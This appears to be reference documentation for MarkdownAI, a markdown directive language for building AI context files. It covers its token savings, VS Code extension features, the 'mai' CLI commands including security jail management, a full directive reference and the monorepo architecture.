The current MDD system loads roughly 10,000 tokens per session. About a third of that is narrative prose - explanations of why rules exist, written for human readers. Claude needs the what and when, not the why.
| Optimization | Token Savings |
|---|---|
@define macros (branch guard, connections, startup) | ~840 tokens |
@if conditional sections | ~400-780 tokens |
Live .startup.md | ~750 tokens |
@consumer=ai narrative stripping | ~1,416 tokens |
@phase lazy loading via MCP | ~3,000-5,000 tokens |
Conservative optimization (macros + conditionals + live startup): roughly a 19-23% reduction. With narrative stripping: about 35%. Full optimization with MCP phase loading: up to 80%.
Accuracy Improvements
Token savings matter, but the accuracy case is more important. A .startup.md rendered from live queries cannot be stale. A connections.md built by mai render cannot reference a doc that doesn't exist. Rules written as @constraint blocks are consistently enforced - rules buried in prose get missed.
The quick wins require no new features - just add @markdownai to .mdd/.startup.md and configure the pre-session hook to run mai render before Claude is invoked.
VS Code Extension
Install the MarkdownAI extension from the VS Code Marketplace. It activates automatically on any .md file that starts with @markdownai on line 1.
# Via Extensions panel: search "MarkdownAI", click Install
# Or via CLI:
code --install-extension markdownai.markdownai
Language Detection
Any .md with @markdownai on line 1 gets the markdownai language type. Works on files already open when VS Code starts.
Syntax Highlighting
All directives highlighted: @env, @if, @define, @phase, @db, @http, @query, @render, @constraint, @prompt, @cache, and {{ }} interpolations.
Snippets
15+ tab-triggered snippets: @def → define/end block, @if → full conditional, @phase → phase skeleton, {{ → interpolation.
Completions
Type @ to see all valid directives. Type @call to see all available macros (stdlib + local + imported) with their output variables.
Hover
Hovering @call name or @define name shows an inline tooltip: macro source, output variable, and description.
Go-to-Definition
F12 or Ctrl+click on @call name jumps to the @define block - even across files via @import.
Find All References
Shift+F12 on @call or @define lists every call site in the current document.
Diagnostics
Red underlines for unclosed blocks (@if without @endif). Yellow underlines for @call to undefined macros. Hover any underline to read the message.
Live Preview
Click the preview icon in the editor title bar. Shows rendered output; refreshes on save. Requires mai CLI installed.
Available Snippets
| Prefix | Expands To |
|---|---|
mai | @markdownai header |
@define | Full @define name ... @end block |
@if | Full @if ... @endif block |
@ifelse | Full @if ... @else ... @endif block |
@phase | Phase skeleton with @on complete |
@prompt | @prompt ... @end block |
@constraint | @constraint with id and severity |
@query | @query label=result command |
@http | @http url="" ... |
{{ | {{ variable }} |
Extension Settings
| Setting | Default | Description |
|---|---|---|
markdownai.diagnostics.enabled | true | Set to false to turn off all diagnostics |
markdownai.diagnostics.warnUndefinedMacros | true | Set to false to skip macro reference checks |
markdownai.stdlibPath | engine stdlib path | Path to stdlib macro definitions, relative to workspace root |
Complete CLI Reference
All mai commands. Universal flags (--env, --cwd, --verbose, --strict, --silent) work on every command.
| Command | Description | Key Flags |
|---|---|---|
mai render <file> | Execute a document and print rendered markdown to stdout | -o <path>, --phase <name>, --consumer <ai|human>, --format=ai, --budget=N |
mai build <file> | Render and write to disk | -o <path> (required), --watch |
mai watch <file> | Watch for changes and re-render automatically | --output <path> |
mai strip <file> | Remove all directives, produce plain markdown | -o <path>, --env <file> |
mai validate <file> | Check document for errors and warnings without rendering | --strict |
mai parse <file> | Parse document and output AST as JSON | --node <type>, --pretty |
mai eval "<expression>" | Evaluate a single expression against the environment | --env <file> |
mai init | Install PreToolUse hook into AI client | --client <claude-code|cursor>, --global-claude-md |
mai serve | Start MCP server | --cwd <path>, --port <N> |
mai cache show [file] | List cached entries | --expired, --persist, --session |
mai cache clear [file] | Clear cached data | --session, --persist, --directive <type> |
mai cache seed <file> | Pre-populate cache by running all fetches | --env <file>, --directive <type> |
mai security init | Create or import a security policy | --from .markdownai.json |
mai security show | Display active security policy | - |
mai security shell <sub> | Manage shell jail (enable, disable, add, remove, list, test) | - |
mai security db <sub> | Manage database jail (add, set, allow-collection, deny-keyword, test) | - |
mai security http <sub> | Manage HTTP jail (enable, disable, add-domain, remove-domain, test) | - |
mai security filesystem <sub> | Manage filesystem rules (show, add-block-path, test, test-mask) | - |
mai security audit <sub> | View and manage audit log (show, show --blocked, clear) | - |
mai list-phases <file> | List all phases in a document with their transitions | - |
mai list-macros <file> | List all macros with their source file | - |
mai list-imports <file> | Show the full dependency tree for a document | - |
Complete Directive Reference
Header
| Directive | Description |
|---|---|
@markdownai | Enable MarkdownAI for this file. Must be line 1 (or first line after frontmatter). |
@markdownai v1.0 | Enable with version pin. |
@markdownai shell-inline="passthrough" | Pass Claude Code's !`cmd` syntax through without security gating. |
Environment
| Directive | Description |
|---|---|
@env VAR | Output variable value as a paragraph. |
@env VAR fallback="value" | With default when unset. |
@env VAR required | Fail validation if unset. |
@env VAR required masked | Required and never appears in output. |
Macros
| Directive | Description |
|---|---|
@define name ... @end | Define a named content block. |
@define name @local ... @end | Local-scoped macro, not shared with parent documents. |
@call name | Insert macro content. |
@call name(param=value) | Insert with named parameters. |
File Resolution
| Directive | Description |
|---|---|
@include ./path.md | Include file content inline. |
@include ./file.ts lines=N-M | Include specific line range. |
@import ./path.md | Import definitions only (macros, connections, env fallbacks) - no content rendered. |
@include ./file @cache session | Include with session caching. |
Conditionals
| Directive | Description |
|---|---|
@if condition | Start conditional block. |
@elseif condition | Additional branch. |
@else | Fallback branch. |
@endif | Close conditional block. |
Data Sources
| Directive | Description |
|---|---|
@list ./path/ | List files, directories, or structured data. |
@read ./file.json path="key" | Read a value from a structured file. |
@tree ./path/ depth=N | Render ASCII directory tree. |
@date format="YYYY-MM-DD" | Current date/time or file modification date. |
@count ./path/ match="*.ts" | Count files matching a pattern. |
@connect name type="mongodb" uri=env.VAR | Register a named database connection. |
@db using="name" find="collection" | Query a database (jailed). |
@http url="https://..." | Fetch from an HTTP endpoint (jailed). |
@query "command" | Run a shell command (jailed). |
Pipeline
| Directive | Description |
|---|---|
source | transform | @render type="format" | Pipe data through transforms to a renderer. |
@render type="table" columns="a,b" | Render data in a specific format. |
Phases
| Directive | Description |
|---|---|
@phase name ... @end | Named workflow phase block. |
@on complete -> phase-name | Transition to next phase on completion. |
@on complete -> @call macro | Call a macro on completion. |
Caching
| Modifier | Description |
|---|---|
@cache session | Cache in memory for current session. |
@cache ttl=N | Cache for N seconds. |
@cache persist | Cache to disk across restarts. |
@cache mock=./file.json | Always serve from local fixture. |
AI-Native
| Directive | Description |
|---|---|
@prompt role="context" ... @end | Embed AI instructions. Invisible to humans. |
@constraint id="id" severity="critical" ... @end | Machine-readable rule surfaced in structured table for AI readers. |
@note ... @end | Source-only comment, never in rendered output. |
@note visible ... @end | Renders as a blockquote callout. |
@define-concept term "definition" | Register a domain term for AI glossary injection. |
@section priority="high" ... @end | Section with priority for context budget trimming. |
@chunk-boundary id="name" | Mark a logical chunk boundary for RAG pipelines. |
Architecture
Six packages in an npm workspaces monorepo. TypeScript strict mode throughout. ESM with .js extensions in source imports. Target ES2022, Node >= 18.
| Package | Name | Role |
|---|---|---|
packages/parser | @markdownai/parser | AST production only. Never executes. Pure and inert - safe to run in any environment. |
packages/renderer | @markdownai/renderer | 11 format modules. ASCII output. No external charting libraries, no browser required. |
packages/engine | @markdownai/engine | Execution, env resolution, pipelines, caching, strip. All security enforcement lives here. |
packages/mcp | @markdownai/mcp | MCP server with 9 tools. Phase navigation. Lazy loading. |
packages/core | @markdownai/core | The mai binary and all CLI commands. |
packages/vscode | markdownai (VS Code) | Language detection, syntax highlighting, snippets, completions, hover, diagnostics, live preview. |
Code Quality Rules
- No file > 300 lines
- No function > 50 lines
- No
console.login library code - use the logger eval()is never used anywhere -vm.runInNewContextonly- Never spawn child processes from parser - parser is pure AST only
- One directive module per directive:
packages/parser/src/directives/<name>.ts
Security Enforcement Location
All security enforcement happens in the engine, not the parser. The parser is intentionally inert - it produces an AST but never executes anything. This separation means you can parse any document safely in any environment without side effects. Security jails, content masking, and immutable rules all run in the engine layer when directives are actually evaluated.
Cross-Platform Design
Built-in pipe transforms (grep, sort, head, tail, wc -l, uniq) are pure Node.js implementations - no shell spawning. Shell-dependent commands (awk, sed, jq) spawn child processes and are Unix/WSL only. The engine detects platform at startup for shell command availability.